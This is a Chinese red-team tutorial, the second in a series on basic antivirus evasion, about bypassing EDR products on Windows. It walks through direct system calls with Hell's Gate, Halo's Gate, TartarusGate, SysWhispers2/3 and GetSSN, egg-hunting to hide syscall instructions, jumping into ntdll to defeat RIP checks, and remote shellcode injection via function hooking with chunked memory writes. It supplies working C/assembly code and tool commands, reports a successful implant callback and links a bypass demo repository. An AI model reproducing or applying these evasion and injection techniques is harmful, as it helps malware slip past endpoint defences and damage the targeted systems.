本文是《红队开发基础-基础免杀》系列的第二篇文章,主要介绍了规避常见的恶意API调用模式及使用直接系统调用并规避“系统调用标记”两种手段,达到bypass edr的效果。
系统核心态指的是R0,用户态指的是R3,系统代码在核心态下运行,用户代码在用户态下运行。系统中一共有四个权限级别,R1和R2运行设备驱动,R0到R3权限依次降低,R0和R3的权限分别为最高和最低。
在用户态运行的系统要控制系统时,或者要运行系统代码就必须取得R0权限。用户从R3到R0需要借助ntdll.dll中的函数,这些函数分别以“Nt”和“Zw”开头,这种函数叫做Native API,下图是调用过程:
这些nt开头的函数一般没有官方文档,很多都是被逆向或者泄露windows源码的方式流出的。
调用这些nt开头的函数,在《红队队开发基础-基础免杀(一)》中曾经通过在内存中找到函数的首地址的方式来实现:
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
反编译这段代码,就可以获取syscall最简单的形式:
即:
mov r10,rcx
mov eax,xxh
syscall
这里存储的是系统调用号,基于 eax 所存储的值的不同,syscall 进入内核调用的内核函数也不同
我们可以看下图
用户调用windows api ReadFile,有些edr会hook ReadFile这个windows api,但实际上最终会调用到NTxxx这种函数。有些函数没有被edr hook就可以绕过。说白了还是通过黑名单机制的一种绕过。找到冷门的wdinwos api并找到对应的底层内核api。
sycall系统调用号文档:https://j00ru.vexillium.org/syscalls/nt/64/
在vscode中开启asm支持:
右键asm文件,属性,修改为宏编译
这里需要注意 .asm文件不能和.cpp文件重名,否则会link报错。
接着根据msdn的官方文档定义函数:
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
之后调用函数即可:
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
工具->选项->启用地址级调试
在调试过程中,Debug->window->disassembly
可以看到最基础的汇编代码及字节码
我们很多时候使用syscall不是直接调用,不会在代码里硬编码syscall的系统调用号。因为不同的系统调用号是不同的,所以我们需要进行动态syscall。
Hell’s Gate:地狱之门
这个工具遍历NtDLL的导出表,根据函数名hash,找到函数的地址。接着使用0xb8获取到系统调用号,之后通过syscall来执行一系列函数。
通过TEB获取到dll的地址可以参考:获取DLL的基地址
解析pe结构,获取导出表
遍历hash表和导出表,找到syscall的函数,通过标记的方式获得系统调用号:
为什么匹配这几个字节就能找到syscall调用号呢?我们看这张图:
发现syscall对应的固定汇编语句为
4C8BD1 -> mov r10, rcx
B8XXXXXXXX -> move eax,xx
0f05 -> syscall
转化成内存数组即:
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
逐字节遍历,直到出现mov r10, rcx和move eax,经过位运算得到syscall调用号。
程序自动生成的syscall汇编代码:
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
调用syscall,分配内存,修改内存属性,创建线程:
可以发现已经能够成功上线
SysWhispers2
SysWhispers2 是一个合集,用python生成.c源码文件。这些文件的作用和Hell’s Gate类似,也是在PE中找导出表,之后通过对比函数hash找到syscall调用号。相对Hell’s Gate有更多的函数可供选择,不仅仅是内存相关的几个函数。并且对syscall的asm有一定程度的混淆(使用了INT 2EH替换sycall)。
Halo’s Gate
光环之门应对native api被hook的情况,syscall有一个32字节的存根,通过编译每32字节寻找没有被hook的native api,主要是这两个汇编函数实现:
主要还是根据syscall的特征字节码4C 8B D1 B8,在内存中原本native api在的位置向上向下每32个字节进行搜索。找到没有被HOOK的存根后获取其系统调用号再减去移动的步数,就是所要搜索的系统调用号。
TartarusGate
TartarusGate主要是增加了对hook的判断,我们在下面的内容会提及hook的操作,一般有5字节和7字节hook。主要是JMP相对应的机器码E9的位置不同,通过判断函数开头第一个字节和第四个字节是否为E9可以大致判断是否被hook.
ParallelSyscalls
该项目使用了接下来会在文章三种提及的技术,一言以蔽之就是恢复了被hook的ntdll之后再进行syscall。
GetSSN
这个工具用了比较不同的思路,简单来说ssn(系统调用标记)实际上是从0开始的,只要我们获取到了所有的函数机器对应地址,通过地址进行排序,最终获得的标号顺序就是syscall id的顺序。
int GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
主要内容来自原文SysWhispers is dead, long live SysWhispers!
syscall特征非常明显,静态特征就很容易被识别到:
针对这种情况,在SysWhispers2中就有所改良,如图:
找到了一种int 2EH替代syscall的办法,但随着攻防对抗的提升,该方法已经被检测。
这里采用了egghunter的技术,先用彩蛋(一些随机的、唯一的、可识别的模式)替换syscall指令,然后在运行时,再在内存中搜索这个彩蛋,并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后,我们可以正常使用直接系统调用了。
关于egghunter的概念可以看fuzzysecurity的二进制入门教程。
我们在内存中使用db表示一个字节,比如我们在内存中.txt段写入"w00tw00t"的字节:
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003970B07h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
ret
NtAllocateVirtualMemory ENDP
接下来要做的就是遍历程序内存,搜索这段彩蛋:
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0;
ULONG64 size = 0;
GetMainModuleInformation(&startAddress, &size);
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0;
unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;
printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}
if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("\n");
}
if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu\n", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current);
}
这样做虽然可以绕过静态的检测了但依旧存在问题,理论上syscall行为应该只存在ntdll中,而我们使用syscall是在当前程序中。简单的判断RIP就可以检测出我们的可疑行为。
常规调用流程:
恶意程序的调用流程:
针对RIP的检测,作者也给出了技术方案,还是比较简单的。在内存中搜索syscall的地址,直接jmp到该位置。即可让RIP指向ntdll。
上面提及的两种方法在SysWhispers3已经有所应用:
# Normal SysWhispers, 32-bits mode
py .\syswhispers.py --preset all -o syscalls_all -m jumper --arch x86
# Normal SysWhispers, using WOW64 in 32-bits mode (only specific functions)
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem --arch x86 --wow64
# Egg-Hunting SysWhispers, to bypass the "mark of the sycall" (common function)
py .\syswhispers.py --preset common -o syscalls_common -m jumper
# Jumping/Jumping Randomized SysWhispers, to bypass dynamic RIP validation (all functions) using MinGW as the compiler
py .\syswhispers.py --preset all -o syscalls_all -m jumper -c mingw
使用的时候遇到了坑:
起初一直以为是mov r10,rcx报错,后来发现是下一句报错..无法直接往内存写。不知道怎么解决,生成jumper是可以使用的:
python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1
本文主要根据Bypassing EDR real-time injection detection logic这篇文章,对常规的内存写入行为进行了变化,混淆了一些带有机器学习特征的edr的检测,从而避免了报警。
我们首先找到内存中需要被hook的函数地址:
LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
找到后将前七个字节改为跳转,如下
unsigned char jmpSc[7]{
0xB8, b[0], b[1], b[2], b[3],
0xFF, 0xE0
};
机器码对应的汇编指令大概是
move eax,xxxx
jmp eax
修改这部分内存
WriteProcessMemory(
hProc,
lpDllExport,
jmpSc,
sizeof(jmpSc),
&szWritten
);
这样我们就实现了劫持对应函执行流程的功能。如果想要维持函数原本的功能,保存原本的七个字节,在shellcode中再次替换这部分内存并jump回来。
在windows中,所有VirtualAllocEx分配的内存,会向上取整到AllocationGranularity的值,windows10下为64kb,比如:
我们在0x40000000的基址分配了4kB的MEM_COMMIT | MEM_RESERVE的内存,那么整块0x40010000 (64kB)区域将不能被重新分配。
很多edr将创建远程线程的行为列为可疑行为,比如windows definder仅仅是做记录但并不报警,产生报警还有其他的判断逻辑,下图是atp的记录:
因此完全依赖于 ntdll!NtCreateThread(Ex) 是不准确的,正常的程序也可以调用这个api。
寻找报警和记录之间的差异,可以让我们实现edr的绕过。
作者基于几个操作对用户行为进行了混淆:
搜索内存中,找到内存块属性为free的内存:
pre-define a list of 64-bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob
寻找合适的内存基址,cVmResv即shellode长度/内存块大小+1,即一共需要多少块内存。当确定的基址连续cVmResv块的内存都free,返回这个基址:
延时执行
确保内存可以被分配:
这里函数使用syscall调用,ANtAVM对应NtAllocateVirtualMemory:
确保内存不到64kb的,以4kb切片可以被分配
写入内存,以4bits每次写入:
获取函数地址后进行hook -> jmp到我们shellcode的首地址
创建进程,运行我们的shellcode
可以成功执行shellcode:
本文实现的例子相关代码均进行了开源:EDR-Bypass-demo
https://tttang.com/archive/1464/
https://github.com/am0nsec/HellsGate/
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
https://sonictk.github.io/asm_tutorial/